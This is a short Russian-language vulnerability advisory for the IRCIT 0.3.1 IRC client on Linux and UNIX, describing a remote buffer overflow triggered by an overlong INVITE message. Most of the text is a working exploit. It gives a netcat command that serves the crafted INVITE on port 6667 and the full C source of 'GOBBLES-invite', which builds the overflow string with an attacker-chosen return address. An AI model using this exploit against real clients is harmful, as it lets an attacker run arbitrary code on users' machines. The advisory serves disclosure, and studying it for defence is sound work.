IRCIT - IRC клиент для Linux и UNIX систем. IRCIT содержит
пригодное для удаленного использования переполнение буфера. При получении INVITE сообщения, данные пользователя копируются в установленный буфер длины
MAXHOSTLEN. Отформатированное сообщение может переполнять этот буфер и выполнять произвольный код с правами IRCIT клиента.
Уязвимость обнаружена в Ayman Akt IRCIT 0.3.1
Пример: $ echo ":x"'!'`./GOBBLES-invite 0xcafebabe`"@x INVITE you :#GOBBLES" | nc - -l -p 6667
Эксплоит:
/* GOBBLES-invite.c */
#include <stdio.h>
int
main(int argc, char **argv)
{
char heh[175], *store;
int i;
if(argc == 1) exit(0);
sscanf(argv[1], "%p", &store);
memset(heh, 'x', sizeof(heh));
*(long *)&heh[166] = (long)store;
*(long *)&heh[170] = (long)store;
heh[174] = '\0';
fprintf(stdout, "%s", heh);
exit(0);
}